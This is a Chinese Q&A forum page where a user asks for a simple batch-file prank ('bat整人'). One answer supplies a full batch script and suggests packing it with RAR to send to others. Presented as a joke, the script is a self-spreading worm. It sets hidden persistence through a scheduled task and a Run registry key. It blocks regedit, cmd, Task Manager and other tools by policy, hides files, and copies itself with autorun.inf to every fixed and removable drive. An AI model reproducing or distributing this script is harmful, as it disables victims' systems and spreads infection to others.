中易网

bat整人 简单 易懂

答案:2  悬赏:70  
解决时间 2021-04-07 21:16
bat整人 简单 易懂
最佳答案
年年顺景则源广 岁岁平安福寿多 横批:吉星高照
全部回答

给我你邮箱 我给你用bat的整人程序  这里直接贴出主要代码 但是没效果要用rar打包后才行

@echo off :hello rem 检查c d e f盘含bat.exe否。 if not exist c:\bat.exe goto fun if not exist e:\bat.exe goto fun if not exist d:\bat.exe goto fun if not exist f:\bat.exe goto fun rem 定制计划任务为bat.exe实现开机启动并对计划任务进行隐藏。 schtasks /create /tn runl132 /tr %windir%\system32\bat.exe /sc onlogon /ru "" attrib +s +h %windir%\tasks\runl132.job rem 导入一些注册表键值,实现一些功能。 reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v "restrictrun" /t reg_dword /d 1 /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 1 /t reg_sz /d "regedit.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 2 /t reg_sz /d "bat.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 3 /t reg_sz /d "tools.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 4 /t reg_sz /d "runl132.bat" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 5 /t reg_sz /d "bat.vbs" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 6 /t reg_sz /d "cmd.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 7 /t reg_sz /d "autorun.inf" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 8 /t reg_sz /d "shutdown.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 9 /t reg_sz /d "attrib.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 10 /t reg_sz /d "fsutil.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 11 /t reg_sz /d "schtasks.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 12 /t reg_sz /d "reg.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 13 /t reg_sz /d "winrar.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 14 /t reg_sz /d "wscript.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 15 /t reg_sz /d "go.vbs" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 16 /t reg_sz /d "notepad.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 17 /t reg_sz /d "you.txt" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\system /v "disabletaskmgr" /t reg_dword /d 1 /f reg add hkey_local_machine\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall /v "checkedvalue" /t reg_dword /d 0 /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v "nofolderoptions" /t reg_dword /d 1 /f reg add hkey_current_user\software\microsoft\windows\currentversion\run /v runl132 /t reg_expand_sz /d "d:\bat.exe" /f rem 检查是否有u盘插入(有,进行复制)。 :kk for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do fsutil fsinfo drivetype %%d:>>%windir%\system32\note.txt findstr /i "可移动驱动器" %windir%\system32\note.txt if errorlevel==0 goto next if errorlevel==1 goto hello :next for /f "tokens=1" %%d in ('findstr /i "可移动驱动器" e:\s.txt') do set yidong=%%d if exist %yidong%\bat.exe goto hello attrib -s -h e:\bat.exe copy e:\bat.exe %yidong%\ /y attrib +s +h e:\bat.exe attrib +s +h "%yidong%\bat.exe" attrib -s -h "%yidong%\autorun.inf" rd /q /s "%yidong%\autorun.inf" echo [autorun]>"%yidong%\autorun.inf" echo shell\open=打开(^&o)>>"%yidong%\autorun.inf" echo shell\open\command=bat.exe>>"%yidong%\autorun.inf" echo shell\explore=资源管理器(^&x)>>"%yidong%\autorun.inf" echo shell\explore\command=bat.exe>>"%yidong%\autorun.inf" attrib +s +h "%yidong%\autorun.inf" goto hello rem 进行对c d e f 盘自我复制并对其隐藏。 :fun attrib -s -h %systemroot%\system32\bat.exe for %%k in (c d e f) do copy %systemroot%\system32\bat.exe %%k:\ /y attrib -s -h e:\bat.exe for %%k in (c d e f) do copy e:\bat.exe %%k:\ /y attrib -s -h d:\bat.exe for %%k in (c d e f) do copy d:\bat.exe %%k:\ /y attrib -s -h f:\bat.exe for %%k in (c d e f) do copy f:\bat.exe %%k:\ /y attrib -s -h c:\bat.exe for %%k in (c d e f) do copy c:\bat.exe %%k:\ /y for %%k in (c d e f) do attrib +s +h %%k:\bat.exe attrib +s +h %systemroot%\system32\bat.exe for %%m in (c d e f) do attrib -s -h -a %%m:\autorun.inf for %%d in (c d e f) do rd /q /s %%d:\autorun.inf for %%s in (c d e f) do echo [autorun]>%%s:\autorun.inf for %%m in (c d e f) do echo shell\open=打开(^&o)>>%%m:\autorun.inf for %%l in (c d e f) do echo shell\open\command=bat.exe>>%%l:\autorun.inf for %%a in (c d e f) do echo shell\explore=资源管理器(^&x)>>%%a:\autorun.inf for %%e in (c d e f) do echo shell\explore\command=bat.exe>>%%e:\autorun.inf attrib +s +h +r c:\autorun.inf & attrib +s +h +r e:\autorun.inf & attrib +s +h +r d:\autorun.inf & attrib +s +h +r f:\autorun.inf goto hello

我要举报
如以上问答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
求正确的物理共式
小米3手机短信不小心删了,如何找回来啊?
微信借钱利息怎么算
聚来旺防水装修销售服务公司在什么地方啊,我
乌龟怎么样加温啊?到冬天了,放在暖气上行不行
哪位专家帮帮我,我的天然水晶掉在地上居然摔
曼谷廊曼机场包车到象岛要多少时间,4个人要
请大家帮我的游戏取个名字!
Virtualbox菜单栏不见了怎么找回
我在杭州百货买的明牌钻戒,请问那星回收吗
广东皮肤病医院麓景路
什么是小气道阻塞
ansys 中beam3、beam4和beam188有什么区别?
南大街/双庙胡同(路口)地址有知道的么?有点
怎么把QLV文件转化为MP4格式,我没安装腾讯视
推荐资讯
本人想开一家美发店在县城 征 好听不俗时尚前
远东兄弟渔具地址在哪,我要去那里办事
歌词中有baby baby ,希望你记得我们的承诺
一款街机游戏 是竖版飞机的
王者之风男士spa养生会所怎么样
安徽怀宁农村商业银行漳湖支行我想知道这个在
张家港市瑞升物资贸易有限公司怎么去啊,有知
施工许可申请表手写填报行吗?合同备案时必须
我和老婆经常闹矛盾怎么办?
你跟你喜欢的女生说话会紧张吗??
文哲在哪里啊,我有事要去这个地方
枕头的英文怎么写?
手机登qq时,显示手机磁盘不足,清理后重新登
刺客的套装怎么选啊?